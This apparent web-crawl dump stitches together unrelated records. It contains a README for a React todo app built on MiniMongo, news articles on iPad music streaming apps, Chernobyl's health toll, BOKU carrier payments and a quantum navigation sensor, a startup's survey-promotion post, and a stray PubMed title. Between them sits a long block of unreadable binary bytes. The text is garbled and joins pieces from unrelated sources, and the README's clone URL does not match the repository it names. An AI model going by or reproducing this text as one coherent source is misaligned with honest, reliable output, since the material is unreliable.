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https://github.com/ivanthedeployer/todo

GitHub - jmasonherr/Reactive-React-Todo-with-MiniMongo: React-MiniMongo-Todo Sample app

Jmasonherr

How do you manage React.js data? With a database! - Use a database! Everybody loves a database! - Super simple! - Automatic UI updates! - Jargon and flow chart free! (except maybe reactive programming) ``` git clone https://github.com/ivanthedeployer/todo cd todo npm install webpack # or ./node_modules/.bin/webpack if you get an error npm start ``` Navigate to http://localhost:8080. for hot-reloading goodness ``` // Import mixin and reactive data source import { ReactMeteorData, Mongo } from 'meteor-standalone-react-mixin' // Create Reactive Data source var Todos = new Mongo.Collection('todos'); // Define 'getMeteorData' on your react class var TodoApp = React.createClass({ mixins: [ReactMeteorData], getMeteorData: function() { return {activeTodos: Todos.find({completed: false}).fetch()}; }, render: function() { this.data.activeTodos.map(...) } }); ``` `ReactMeteorData` adds `this.data` to your React class. `this.data` acts alike `this.props` or `this.state` . When the data accessed by `ReactMeteorData` change, your component updates. This example makes reactive data sources to keep the app's data and state. Then React components listen to those sources. What is reactive programming? ``` import { Mongo, ReactiveDict } from 'meteor-standalone-react-mixin' var Todos = new Mongo.Collection('todos'); ... var appState = new ReactiveDict; ``` There are two 'reactive data sources' in this example. 1 - `Mongo.Collection` is a schemaless database collection that can be queried like MongoDB. Each item in the collection has a unique `_id` property. We create a collection to hold our `Todos` . 2 - `ReactiveDict` is like a javascript dictionary with getters and setters, and it is also reactive. It keeps track of the application's state. Any change in this will also cause a refresh in components that depend on it. Now that we have a place to store data and application state, we can write the views ``` import { Todos, appState } from './todo/data.jsx' import { TodoItem } from './todo/todoItem.jsx' import { ReactMeteorData } from 'meteor-standalone-react-mixin' const TodoApp = React.createClass({ // To make a React class react to a reactive data source, add this mixin mixins: [ReactMeteorData], getMeteorData: function () { var queryFilters = {}; /* Any Reactive data sources queried in this function will trigger a refresh when they change. This view will watch Mongo.Collection queries and appState, a ReactiveDict Location of the page is passed in as a prop from React-Router, when props or state change, this function will run to see if its results change */ var _location = this.props.location.pathname; // Mongo.Collection allows a rich query interface (nearly all // of MongoDB's!) including sort statements var sortStatement = {sort: {createdAt: -1}}; if(_location === '/active') { queryFilters.completed = false; sortStatement.sort = {completedAt: -1, createdAt: -1}; } else if(_location === '/completed'){ queryFilters.completed = true; sortStatement.sort = {completedAt: -1}; } // Anything returned from getMeteor data is available as this.data to // the rest of the class return { editingState: appState.get('editing'), // Count queries are reactive too! activeTodoCount: Todos.find({completed: false}).count(), completedCount: Todos.find({completed: true}).count(), location: _location, todos: Todos.find(queryFilters, sortStatement).fetch() }; }, ``` Changes in `.data` trigger a component refresh just like `.state` or `.props` Any changes made to the collection of `Todos` , the window location, or `appState` will automagically update `this.data` and trigger a refresh of `TodoApp` . The `render` function looks like this- ``` ... render: function () { var self = this; var footer; var main; var todoItems = this.data.todos.map(function (todo) { return ( <TodoItem key={todo._id} todo={todo} editing={self.data.editingState === todo._id} onCancel={self.cancel}/>); }, this); if (this.data.activeTodoCount || this.data.completedCount) { footer = <TodoFooter count={this.data.activeTodoCount} completedCount={this.data.completedCount} location={this.data.location} />; } if (this.data.todos.length) { main = ( <section className="main"> <input className="toggle-all" type="checkbox" onChange={this.toggleAll} checked={this.data.activeTodoCount === 0} /> <ul className="todo-list"> {todoItems} </ul> </section> ); } return ( <div> <header className="header"> <h1>todos</h1> <input className="new-todo" placeholder="What needs to be done?" autoFocus={true} onKeyUp={this.handleKeyUp} /> </header> {main} {footer} </div> ); } ``` Access `this.data` just like you would `this.state` or `this.props` . Modifying the underlying collection will update any React classes affected. How to insert a new `Todo` ? Look at the `handleKeyUp` method in `App.jsx` ``` handleKeyUp: function (event) { ... var val = event.target.value.trim(); if (val) { Todos.insert({ title: val, completed: false, createdAt: new Date(), completedAt: null, }); event.target.value = ''; } }, ``` `TodoApp` will rerender automatically,a new `Todo` will show in the UI and the footer will appear. It only has two more methods to cover ``` ... toggleAll: function (event) { // Toggle the state of all Todos present, if(Todos.find({completed: false}).count()){ Todos.update({completed: false}, {$set: {completed: true, completedAt: new Date()}}, {multi:true}); } else { Todos.update({}, {$set: {completed: false, completedAt: null}}, {multi: true}); } }, clearCompleted: function () { // Remove all completed Todos Todos.remove({completed: true}); }, ... ``` That's it. Now we can create Todos, toggle their status in bulk, or clear completed todos. Unlike most React code the rest of the methods are on `TodoItem` . Usually functions from `TodoApp` would be passed as props to its children, but since `Todos` is available to `TodoItem` , we can put them directly on `TodoItem` . Updating a `Todo` is handled by its own view. No need to `.apply` variables in the parent ``` var TodoItem = React.createClass({ ... toggle: function (event){ // Update takes a selector as its first ID, either an _id or a Mongo query Todos.update(this.props.todo._id, { $set: { completed: !this.props.todo.completed, completedAt: this.props.todo.completed ? null : new Date() } }); }, ``` Deletion also happens in `TodoItem` ``` import { Todos, appState } from './data.jsx' var TodoItem = React.createClass({ ... destroy: function() { Todos.remove(this.props.todo._id); }, ``` In both `update` and `remove` , the parent collection is immediately notified, and the UI changes. Easy as that. The following fires on `onKeyUp` when editing a `Todo` ``` handleKeyUp: function (event) { var val = event.target.value.trim(); if (event.which === ESCAPE_KEY) { // This is the ReactiveDict from earlier. More on that later appState.set('editing', false); } else if (event.which === ENTER_KEY) { if (val) { Todos.update(this.props.todo._id, { $set: {title: val} }); appState.set('editing', false); } else { this.destroy(); } } }, ``` `update` , like `findOne` and `remove` can take an `_id` as a selector. `appState` is a ReactiveDict. Changes in its value are observed by `TodoApp` `appState` is a reactive dictionary. Its api has `.get(key)` and `.set(key, val)` methods. When it changes, any React classes that accessed its values in `getMeteorData` will refresh. `TodoApp` is observing its value and passing it to the `TodoItems` . There are likely more elegant solutions, but this is here to showcase its functionality. Sometimes you want to watch data changes outside of a React class. This is when `.observeChanges` is handy. In this case, the entire `Todos` collection is persisted to `localStorage` when a document is `added` , `changed` , or `removed` . Deeper dive ``` var saveInLocalStorage = function() { localStorage.setItem('todos', JSON.stringify(Todos.find().fetch())); }; Todos.find().observeChanges({ added: saveInLocalStorage, changed: saveInLocalStorage, removed: saveInLocalStorage, }); ``` More info on `.observeChanges` and its sister functions MiniMongo is built on Tracker, a tiny reactivity library built by MDG. This, along with their React integration mixin have been packaged by this library for standalone use with minimal modifications. Now that you don't have to write as much code, here are the docs-

React-MiniMongo-Todo Sample app. Contribute to jmasonherr/Reactive-React-Todo-with-MiniMongo development by creating an account on GitHub.

2024-10-12 00:00:00

2016-02-11 00:00:00

https://opengraph.githubassets.com/68932dc7d52969ddab98a92d084b0093257ffcb730faec84626df0380edad1a0/jmasonherr/Reactive-React-Todo-with-MiniMongo

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GitHub

https://adversarial-attacks.net

(�/�Xd� J1�2?0�6�� �8C�IIZ&)�M!I�|�yy�LJ��Ŝ�ﳭ�&*"��M0��2RT3���<��-��e�ŗ\r���iv�h�_�|q_�!I��!��ʋ��([" �x�jY+l����E����N�`i(����y�H�3�0zn���%6*`:}o�0`���. �:��6�A��N�3lD`-��7��"="�u�ϵ��(���2�h}�jǧm��(K�#4����v�|ʄ����i���- ,��Mv="�EP<�(�����QZ_>],�Qt� �({-/�Q�Q�����}-�w���Jܲ������ '�Xa0kQyD�����#Fyv�1(L�d�,eb)�~�j��D�I���IZH@�x}:�_2�J��υJ+{~��Qa0� k9.t�}8�V�@����nR��;V�"Fy��2EI�zز\�}��ҋu�l&� �d '�"�uZ�<�qԢM�g����w�`��:�Ղh�'��-o-ݒj�{���K�Ңln�ց�o���ʦq��2��X��M��Թ}�v:)�l�J��wu�e{ �x Y�����"����C�l�L�^R�@�Y&��V�@@�\@@�(����X���Q�^6����gn��+�K*� ���]�`ڨ�+���`,m�*�;v�J�p�!��e�t+�� HY`j����%�ҫdّZ��:���=��BJ�Y����Q`�W�4����v-��=b���+0w���}����6 t�����L(K���u��E�NtM@�VR&��;V�|�t'ʄ�t ���H�x�NHa���q�� d���:Y��ߏ0�� E��T�x\2d���a�!@�0H�`�������n�� &�`"�G�W�Ab��L� �}n�I��VYk#�,O�m���]�t!�� K=BvH-$aCU��W�8��[�g{�6�`�>"��N�F��&:���$_�_G��tx�v��Z������j���-�/;�G_��at�5�n��BС��;u�w� �m~X2߆.�;�o~�%�ژ�=�J��]�B*z6��Yf�B�i�r��\�X�����T�w.��л��F���������ߧd�do)k�wiĚ��;� ��������P�ݳ,#8U�Y����{4J��T-���,��QZ�������P���/��X6�x��9Yޱ���oj =@���Uhq�xZ�,�S��N�e���t�]\��Y�}�%���%|h�hh4@48(�V2S&$j�r������ϒ���B��qv��X>?N�Yw~�p�ߪ0��S�j�U��/~B���A�%~�:}pjpr�C�����B��!i��zt��Nߗ��A������wn,Q+mP' �r���k?�ߥZgݳ�K������'�.���q�:��S]�0�b��[tU.'+�*����a��m u��=9��s� �NT?���G� .XP8 �"t���ub�t��t��ډL>"��.�YB��Z0��Z4�|D%/�Q4�q�(+Y)w�[�J�艐��]��{"K��Z����(,S�����艾\�� �a�����0!B00 �kP�Ǖz�AfFq�[�������F�aSg�~���7��%k��G��0�$�B����)�� �7nN��U��1���N.�Qx�^`" �{������۵*]��(����نZ�;��r٨|�߅��е7�@{rg�P� ;дE��Ώx�c�B6TTp;ɢP6��p�1���?g��B�D@˯���@Ϗ��TG�e?�0�f�['�z2� �zmT�Ђ� ���m6m�:�U�s��T�Kj͎[|�e��X�NZ]��Z\,bȵ�Ou�����[��[��a��9 ���iWHHّb��]���uǪsQ���|GO��2��[m�#�~%W��߶����ձh��:\���&����:�=n��F]���Û�Fõ�8�n�ݢf`L����Re^�)^��m�.L�� ���iS��"��U�b��De���\��KաC�}[_忶迸\J��� #&c+5�3��/:����#F�`پ��Z�2���(**�ņ�q(6ܭ�B��Υr��q�����1ѷߵQݵ�JT�at�-ݴ��[�/{-���iD����q�o[���CU�����x9��͒�>�����=!g�)k�&�oē'>�z��u苾˓�Aw���ϳ���B�hFu��l��nq�u0� ձd6�!��m�CO� =J<�e��K���NZ?J���t�"�m]���R�Ì7̴�y@ *

2024-10-12 00:00:00

https://chrome.google.com/webstore/detail/hfpglafkfedcnnojpioconphfcelcljj/

https://www.nytimes.com/2019/09/20/us/data-privacy-fbi.html

https://www.nature.com/articles/d41586-021-01223-4

https://www.equalexperts.com/wp-content/uploads/2022/03/YBIYRI_Playbook-4.pdf

http://www.geekwire.com/2012/facebook-employees-gripe-long-hours-google-workers-desire-money/

http://techcrunch.com/2012/03/26/mog-spotify-rdio-comparison/

What's The Best iPad Streaming Music App? MOG's New iPad App vs Rdio vs Spotify | TechCrunch

Josh Constine

Don’t stop the music. It seems obvious, but MOG is the first of the big on-demand music streaming services to get this right on a tablet. Today MOG officially releases its iPad app, and it includes MOG Radio which when enabled will continue to play songs after your currently queued tracks finish. No more hours of accidental silence. It’s also retina-ready to crisply display artwork, bios, editor’s picks, and reviews. Compared to Rdio’s iPad app and Spotify for iPhone (no iPad app available), MOG has the best experience for simply playing music, it streams in higher fidelity on Wi-Fi, and provides the most accurate recommendations. Here’s a full breakdown of how the three compare on music playback, discovery, price, and sound quality. MOG was hoping to do a big launch today but Apple pushed its new iPad app live Saturday night. Its release and the booming early sales of the New iPad should wake up Spotify and other music companies to the fact that it’s crucial to offer apps for Apple’s tablet. Beyond portability, they make a great dedicated music playing second screen for use beside a laptop. So if you’ve got an iPad, which on-demand music streaming app and service should you choose? MOG is my pick. Here’s why: #### Music Playback The biggest advantage of tablet streaming apps over their smartphone sisters is the space to always show both play controls and what you’re currently hearing. MOG nails music playback on iPad. A persistent play bar up top can always be expanded to show album art near-fullscreen (4/5s), bigger than Rdio (3/5s). MOG CEO David Hyman tells me “With the new Retina resolution, you feel like you’re holding the album in your hand. The play bar also hosts the MOG Radio button. Instead of going quiet when your current selection ends, if enabled MOG Radio automatically starts playing an infinite loop of songs related to what you were listening to. A slider lets you select to hear more by the exact artist you were hearing or give MOG the freedom to play similar artists too. That means you can cue up a single song, and then let MOG Radio take over, similar to a certain music genome project you’ve probably heard of. Hyman tells me “The goal was to build a Pandora-style radio experience where you don’t have to use thumbs up and down, we just automatically improve over time” by tracking your plays and skips. MOG Radio alone will make me choose it over Rdio whose Play Station doesn’t kick in automatically and merely shuffles your current selection, or Spotify which only offers standard loop and shuffle. #### Discovery This has traditionally been Rdio’s domain but MOG has done a good job of usurping the throne. Both offer pages of new releases and charts, and Rdio’s feel a little cleaner to browse. MOG’s also includes editor’s picks, though, to clue you into cool stuff that might not be popular or brand new. Rdio shines with its Heavy Rotation page, which offers quick access to what you, friends, and the whole user base are playing most. I often get addicted to songs and not having to search for them each time I return is very helpful. MOG’s recommendations trump Rdio’s, though. Rdio only uses your play history, so when I listened to a throwback Blink 182 album first, all my recommendations were of emo rock I hardly listen to anymore. MOG pre-populates its algorithm with your Facebook Likes, and then improves it with your listening habits which makes its recommendations much more accurate for new users. When you find someone good on MOG, not only can you add it to your queue like on Rdio, you can choose to play it next, at the end of your queue, or ditch your queue and play it now. Spotify only lets you add songs to playlists, which both its competitors do too. #### Pricing, Offline Play, and Sound Quality In what I wouldn’t be surprised to learn is price fixing, MOG, Spotify, and Rdio all charge $9.99 per month for unlimited ad-free mobile listening. Rdio scores points by letting you use your free minutes on mobile, while the others make you to pay to even try their mobile apps. All three companies let you beam music to your home stereo over AirPlay, and sync/download music to your device for offline playlists. Spotify only lets you download playlists, Rdio does that plus albums, while MOG lets you sync playlists, albums, and songs. In both streaming and downloading, MOG offers the highest bitrate if enabled: - MOG: High quality is 320kbps available on Wi-Fi, low quality is 64kbps for 4G and 3G - Spotify: High quality is 160 kbps, low quality is 96kbps - Rdio: High quality is 256kbps available on Wi-Fi, according to an Rdio employee in its Help Center, as technically the company does not disclose exact streaming rates So with the best music playback, strong discovery, and the highest streaming rates for Wi-Fi, my testing shows MOG now has the top on-demand music streaming iPad app. You’ll have to pay, and its competitors may offer higher fidelity if you’re without Wi-Fi, but MOG’s the best choice for most people. Now, go rock out.

Don't stop the music. It seems obvious, but MOG is the first of the big on-demand music streaming services to get this right on a tablet. Today MOG officially releases its iPad app, and it includes MOG Radio which when enabled will continue to play songs after your currently queued tracks finish. No more hours of accidental silence. It's also retina-ready to crisply display artwork, bios, editor's picks, and reviews. Compared to Rdio's iPad app and Spotify for iPhone (no iPad app available), MOG has the best experience for simply playing music, it streams in higher fidelity on Wi-Fi, and provides the most accurate recommendations. Here's a full breakdown of how the three compare on music playback, discovery, price, and sound quality.

2024-10-12 00:00:00

2012-03-26 00:00:00

article

techcrunch.com

TechCrunch

https://news.mit.edu/2019/chernobyl-manual-for-survival-book-0306

Chernobyl: How bad was it?

Peter Dizikes; MIT News Office

Not long after midnight on April 26, 1986, the world’s worst nuclear power accident began. Workers were conducting a test at the Chernobyl Nuclear Power Plant in the Ukraine when their operations spun out of control. Unthinkably, the core of the plant’s reactor No. 4 exploded, first blowing off its giant concrete lid, then letting a massive stream of radiation into the air. Notoriously, the Soviet Union kept news of the disaster quiet for a couple of days. By the time the outside world knew about it, 148 men who had been on the Chernobyl site — firefighters and other workers — were already being treated in the special radiation unit of a Moscow hospital. And that was just one sliver of the population that wound up seeking medical care after Chernobyl. By the end of the summer of 1986, Moscow hospitals alone had treated about 15,000 people exposed to Chernobyl radiation. The Soviet republics of Ukraine and Belarus combined to treat about 40,000 patients in hospitals due to radiation exposure in the same period of time; in Belarus, about half were children. And while 120,000 residents were hastily evacuated from the “Zone of Alienation” around Chernobyl, about 600,000 emergency workers eventually went into the area, trying to seal the reactor and make the area safe again. About 31,000 soldiers camped out near the reactor, where radioactivity reached about 1,000 times the normal levels within a week, and contaminated the drinking water. Which leads to the question: How bad was Chernobyl? A 2006 United Nations report contends Chernobyl caused 54 deaths. But MIT Professor Kate Brown, for one, is skeptical about that figure. As a historian of science who has written extensively about both the Soviet Union and nuclear technology, she decided to explore the issue at length. The result is her new book, “Manual for Survival: A Chernobyl Guide to the Future,” published this month by W.W. Norton and Co. In it, Brown brings new research to bear on the issue: She is the first historian to examine certain regional archives where the medical response to Chernobyl was most extensively chronicled, and has found reports and documents casting new light on the story. Brown does not pinpoint a death-toll number herself. Instead, through her archival research and on-the-ground reporting, she examines the full range of ways radiation has affected residents throughout the region, while explaining how Soviet politics helped limit our knowledge of the incident. “I wrote this book so it’s something we take a look at more seriously,” says Brown, a professor in MIT’s Program in Science, Technology, and Society. **Lying to themselves ** To see how the effects of Chernobyl could be much more widespread than previously acknowledged, consider a pattern Brown observed from her archival work: Scientists and officials at the local and regional levels examined the effects of Chernobyl on people quite extensively, even performing controlled studies and other robust techniques, but other Soviet officials minimized the evidence of major health consequences. “Part of the problem is the Soviets lied to themselves,” says Brown. “On the ground it [the impact] was very clear, but at higher levels, there were ministers whose job was to report good health.” Soviet officials, Brown adds, would “massage the numbers” as the data ascended in the state bureaucracy. “Everybody was making the record look better by the time it go to Moscow,” Brown says. “And I can show that.” Then too, the effects of Chernobyl’s radiation have been diffuse. As Brown discovered, 298 workers at a wool factory in the city of Chernihiv, about 50 miles from Chernobyl, were given “liquidator status” due to their health problems. This is the same designation applied to emergency personnel working at the Chernobyl site itself. Why were the wool workers so exposed to radiation? As Brown found after investigating the Chernihiv wool factory itself, Soviet authorities had workers kill livestock from the Zone of Alienation — and then send their useable parts for processing. The wool factory workers had become sick because they were dealing with wool from highly contaminated sheep. Such scenarios may have been significantly overlooked in some Chernobyl assessments. A significant section of “Manual for Survival” — the title comes from some safety instructions written for local residents — also explores the accident’s effects on the region’s agricultural economy. In Belarus, one-third of milk and one-fifth of meat was too contaminated to use in 1987, according to the official in charge of food production in the state, and levels became worse the following year. At the same time, in the Ukraine, between 30 and 90 percent of milk in “clean” areas was judged too contaminated to drink. As part of her efforts to study Chernobyl’s effects in person, Brown also ventured into the forests and marshes near Chernobyl, accompanying American and Finnish scientists — who are among the few to have extensively studied the area’s wildlife in the field. They have found, among other things, the decimation of parts of the ecosystem, including dramatically fewer pollinators (such as bees) in higher-radiation places, and thus radically reduced numbers of fruit trees and shrubs. Brown also directly addresses scientific disagreements over such findings, while noting that some of the most negative conclusions about the regional ecosystems have stemmed from extensive on-the-ground investigations of it. Additionally, disputes over the effects of Chernobyl also rumble on because, as Brown acknowledges, it is “easy to deny” that any one occurence of cancer is due to radiation exposure. As Brown notes in the book, “a correlation does not prove a connection,” despite increased rates of cancer and other illnesses in the region. Still, in “Manual for Survival,” Brown does suggest that the higher end of existing death estimates seems plausible. The Ukrainian state pays benefits to about 35,000 people whose spouses apparently died from Chernobyl-caused illnesses. Some scientists have told her they think 150,000 deaths is a more likely baseline for the Ukraine alone. (There are no official or unofficial counts for Belarus and western Russia.) **Chernobyl: This past isn’t even past** Due to the long-term nature of some forms of radiation, Chernobyl’s effects continue today — to an extent that is also under-studied. In the book’s epilogue, Brown visits a forest in the Ukraine where people pick blueberries for export, with each batch being tested for radiation. However, Brown observed, bundles of blueberries over the accepted radiation limit are not necessarily discarded. Instead, berries from those lots are mixed in with cleaner blueberries, so each remixed batch as a whole falls under the regulatory limit. People outside the Ukraine, she writes, “may wake to a breakfast of Chernobyl blueberries” without knowing it. Brown emphasizes that her goal is not primarily to alarm readers, but to push research forward. She says she would like her audience — general readers, undergraduates, scientists — to think deeply about how apparently settled science may sometimes rely on contingent conclusions developed in particular political circumstances. “I would like scientists to know a bit more about the history behind the science,” Brown says. Other scholars say “Manual for Survival” is an important contribution to our understanding of Chernobyl. J.R. McNeill, a historian at Georgetown University, says Brown has shed new light on Chernobyl by illuminating “decades of official efforts to suppress its grim truths.” Alison MacFarlane, director of the Institute for International Science and Technology Policy at George Washington University, and Former director of the Nuclear Regulatory Commission, says the book effectively “uncovers the devastating effects” of Chernobyl. For her part, Brown says one additional aim in writing the book was to help us remind ourselves that our inventions and devices are fallible. We need to be vigilant to avoid future disasters along the lines of Chernobyl. “I think it could be a guide to the future if we’re not a little bit more thoughtful, and a little more transparent” than the Soviet officials were, Brown says.

MIT Professor Kate Brown’s new book, “Manual for Survival,” suggests the effects of the Chernobyl nuclear accident have been greater than commonly understood.

2024-10-12 00:00:00

2019-03-05 00:00:00

article

news.mit.edu

MIT News | Massachusetts Institute of Technology

http://mashable.com/2012/02/23/boku-mobile-bank/

Why One Startup Wants Your Mobile Carrier to Act Like Your Bank

Sarah Kessler

Now, thanks to a startup called BOKU, there's a mobile payment solution that could satisfy all sides. The product, BOKU Accounts, works like a debit card issued by your mobile carrier instead of your bank. Users receive an NFC-enabled sticker they can attach to any phone -- as well as a mobile-carrier-branded MasterCard. The financial management of Boku's product works a little differently than its earlier offering, direct carrier billing. In that product, any purchases made with mobile phone numbers show up on mobile phone bills. The system lets people who don't have credit cards shop online. With BOKU Accounts, however, users deposit money into a separate account with their mobile carriers. Credit card providers aren't cut out of the process. Everybody's happy. "[Credit card] networks rely on banks as issuers to attract, retain and manage users," explains BOKU SVP of Product & Marketing David Yoo. "Banks have limited access to users -- well, in relative terms." "There are only 2 billion credit cards, according to Nilson Report. However, mobile operators have access to 6 billion users. If the right solution can be worked out, mobile operators can become one of the largest issuing partners of credit card networks in the world." That sounds great for credit card companies, but why would a consumer transfer money into a separate account instead of opening a credit card with a bank? BOKU's value proposition is this: it's a mobile payment system not tied to specific phones or terminals. Unlike Google Wallet, which requires an NFC-enabled phone, or the PayPal wallet, which requires merchants to install a software upgrade in their terminals, BOKU works with whatever hardware each party in the transaction happens to have. If the retailer's terminal isn't NFC-enabled, that means the customer is just swiping a regular credit card. What is different is that merchants can communicate with customers before and after the transaction. A BOKU-powered rewards program lets merchants target deals at people who fit specific demographics within a certain proximity. Each time they do so, they pay those customers' mobile carriers. Users can set their phones to be alerted when certain types of deals are pushed out. They can also set budgets and be alerted when they approach their limits. If they're using a feature phone, they get text messages instead of push notifications. It's not dissimilar to the deals programs in the Google and PayPal Wallets, but it's viable on existing hardware. Beyond that, everyone involved in the payment should be satisfied. The carriers, and BOKU, get paid when merchants send offers; credit cards (for the time being, MasterCard only) get their usual transaction fee from the merchant. And users get something like a real-time Mint with coupons -- but not yet. Not a single carrier is currently offering Boku, though one of them in the UK is running a pilot program. Through its direct carrier billing product, the startup does, however, have relationships with more than 200 of them. If your carrier were to offer Accounts, would you sign up? Let us know why or why not in the comments.

Why One Startup Wants Your Mobile Carrier to Act Like Your Bank

2024-10-12 00:00:00

2012-02-23 00:00:00

article

mashable.com

Mashable

https://www.defenseone.com/technology/2021/11/quantum-sensor-breakthrough-paves-way-gps-free-navigation/186578/

Quantum Sensor Breakthrough Paves Way For GPS-Free Navigation

Patrick Tucker

# Quantum Sensor Breakthrough Paves Way For GPS-Free Navigation ## The main problem wasn’t weird subatomic physics. It was finding a simpler way to maintain a vacuum. Quantum science—one of the Pentagon’s top research priorities—may be about to deliver on its longtime promise of an alternative to GPS. A team of scientists from Sandia National Laboratory has developed a quantum sensor that doesn’t need the power or massive support machinery of previous prototypes, and which has overcome durability concerns by running for a year and a half in the lab. That could enable a wide range of civil and military applications, including drones that don’t need weak and spoofable satellite signals to navigate in the air, underwater, and even underground. Quantum navigation operates via a process called atom interferometry. If you cool atoms to just millionths of a degree above absolute zero, then hit them with beams of light, you can trick them into a quantum superposition. Each atom takes on two states simultaneously: moving and still. Each state reacts differently to forces, including gravity and acceleration. That allows you to measure things like distance more accurately than GPS—and without the need for a hackable signal from space. But to measure quantum superpositions, you need an environment where no other particles can interfere. Most of today’s atomic gyroscopes and accelerometers require big vacuum contraptions to suck molecules out of the magneto-optical trap, or MOT. The Sandia team figured out how to use alumina, aluminosilicate, and other chemicals to passively absorb and clear out rogue molecules. That brings down the size and power needs of the device considerably. “We present a vacuum chamber that uses passive pumping to maintain pressures sufficient for a MOT in excess of 200 days,” they wrote in a July paper. A Sandia spokesperson said that since the chamber was sealed in April 2020, it’s now been a year and half with no big degradation in performance. Sandia National Labs scientist Peter Schwindt told *Defense One* in an email, “These inertial sensors can be used wherever there is a need for position or navigational information, and where a GPS outage is unacceptable or GPS is unavailable. Civilian applications such as aviation and autonomous vehicles are areas where momentary outages of the GPS signal is not acceptable. GPS is decidedly not available underground or underwater so inertial navigation is very important for these operational environments. The accelerometer can also work as a gravimeter. Measurements of gravity and gravity gradients is important for oil, gas, and mineral exploration.” “The passive vacuum package could find use in quantum computing devices as well,” Schwindt said.

The main problem wasn’t weird subatomic physics. It was finding a simpler way to maintain a vacuum.

2024-10-12 00:00:00

2021-11-03 00:00:00

article

defenseone.com

Defense One

https://www.politico.com/news/magazine/2024/03/29/wsj-evan-gershkovich-effort-00149645

http://news.cnet.com/8301-30686_3-20013787-266.html

http://www.groovehq.com/blog/survey-post-mortem

How we got more than 1,500 survey responses with a last-minute scramble

Alex Turnbull

Three days before releasing our survey, we realized that we were totally unprepared. Here’s how we rallied our way back… *This is part thirteen in our ongoing series, Journey to $100K a Month. Earlier posts can be found here.* I’d love to say that we had a rock-solid strategy in place well before we launched our survey. I’d love to say that we systematically reverse-engineered our path to success. I’d love to, but I can’t. The fact is, we were treating the 2013 SaaS Small Business Conversion Survey like any other blog post on our editorial calendar. Sure, we’d share it with our subscribers and ask folks to pass it on, but beyond that, we hadn’t really thought about promotion. …until three days before we were scheduled to launch it. I was getting ready to power down for the day, and decided to give the survey another quick read-through before calling it quits. “Well, shit,” I realized as I reached the end. We were asking for a hell of a lot. Our usual ask of our readers is to leave a comment and share the post. A few seconds of effort, and plenty of incentive if they think our content will be valuable to their friends. But this? We were asking people not only to take five minutes — about 1,000% more time than usual — to fill out a survey, but we were asking for data that, for many, would require digging through internal numbers to come up with. On top of that, we wanted data that most people would cringe at the thought of sharing. Not a small request, to be sure. The following morning, our team huddled and brainstormed how we could extend the reach of the survey, and get as many people as possible to take the time and fill it out. The ensuing scramble may very well have saved our survey… ## Putting together prizes that people actually wanted One tactic that we shamelessly stole from dozens of other companies who had successfully asked readers to participate in events, surveys and contests was to give away prizes. My first thought was to put a $100 Amazon gift card as a grand prize. Thinking about it now, that probably would have gotten us a total of four responses (and mine would be 1/4 of them). The prizes had to be big, and they had to be desirable. We thought about what we would want if *we* were in the running, and came up with a “dream list” of prizes. The total value of our prize list? Over $7,000. Yikes. We certainly didn’t have that kind of budget for this. So we got to work. Surprisingly (to me), every single company we emailed said *yes*. In the end, we were able to offer: - A 90-day subscription to KISSmetrics (Value: $450) - A six-month subscription to Unbounce (Value: $594) - A three-month subscription to to Mixergy (x3) (Value: $199 each) - A one-year subscription to Buffer (x3) (Value: $120 each) - A $50 credit to Clarity.fm (x10) (Value: $50 each) - A three-month subscription to CrazyEgg (Value: $297) We threw in ten three-month subscriptions to Groove, ten signed copies of Gary Vaynerchuk’s book (I bought 500 of these when he was doing a big promotional push), and two tickets to the Business of Software Conference, and we finally had a prize list to be proud of. What impact did the prizes have on the outcome? Unfortunately, it’s not something we could track, but my gut tells me it was significant. And anecdotally, I got dozens of emails from people “requesting” to win specific prizes. (For the record, we picked the winners using random.org.) **Takeaway:** People love prizes, but they have to be big enough to warrant what you’re asking. With the right strategy, offering thousands of dollars (or more) in prizes doesn’t have to cost you anything. ## Getting partners on board One big side benefit to our prize collection efforts was the team of rock-star partners it led us to. Every company who put up prizes got their logo on our blog, aligning our brands. They now had skin in the game. And best of all, the reach of our group of partners, put together, is massively wider than the reach of our own blog. When all was said and done, traffic from Tweets like these accounted for *more than 20%* of the survey click-throughs from our blog: **Takeaway:** Think outside of your own audience, and come up with ways you can incentivize other influencers to get involved. The value is not only in the traffic numbers they can deliver; the validation they offer can clear a lot of hurdles in getting people to do what you’re asking. ## Promotion and Repetition With a big ask like ours, we didn’t think that a single post on our blog would bring in a ton of responses. And sure enough, our first post (not counting the partner Twitter traffic from above) netted only a couple hundred responses. We needed to *stay* in front of people, and doing that took two tactics: First, we cleared the rest of our editorial calendar for the next couple of weeks and dedicated the rest of December to campaign for survey responses on the blog. We published a follow-up post — Our Metrics REVEALED: Revenue, Churn, Conversions and More — that pulled the curtain back on our own responses to the survey, followed by a call-to-action prompting readers to go to the survey. The key here was that it wasn’t another post parroting the same message; frankly, that would be annoying. We made sure that this post met the same criteria as our regular posts: interesting, valuable and fun to read. The repetition paid off, and this second post brought in nearly 40% more responses than the first one did. Second, we pulled an appropriately metrics-focused post out of our own blog queue, added info about the survey at the end, and pitched it to KISSmetrics as a guest blog post. The piece — How One SaaS Startup Reduced Churn 71% Using “Red Flag” Metrics — was relevant to their audience, and they agreed to publish it. The post performed very well on their blog (in fact, we still get traffic from it). This extended our reach far beyond our own audience, and kept the survey in people’s minds. **Takeaway:** As long as it’s valuable, interesting and relevant, content marketing is incredibly valuable for promoting, well, just about anything. ## What made this all possible Truthfully, I suspect none of this would have worked out the same way if we didn’t have three things: - A strong, engaged audience of readers who trusted us enough to fill out the survey, and gave our partners an incentive to get involved - Relationships with influencers that made it easy to pitch them on our idea - Pre-existing content that we could quickly and easily tweak for guest posting The thing is, we didn’t have *any* of those things just six months ago. We got them all simply by executing on the content marketing and engagement strategies. With some effort and smartly-applied strategy, *any* business can replicate (or top) these results. If, a few months from now, you think you may need a last-minute scramble to succeed, the time to start executing is now.

Three days before releasing our survey, we realized that we were totally unprepared. We had to figure out how to get survey responses...

2024-10-12 00:00:00

2014-01-23 00:00:00

article

groovehq.com

Groove Blog

https://pubmed.ncbi.nlm.nih.gov/36383165/

The effects of long-term prenatal exposure to 900, 1800, and 2100 MHz electromagnetic field radiation on myocardial tissue of rats - PubMed

Username

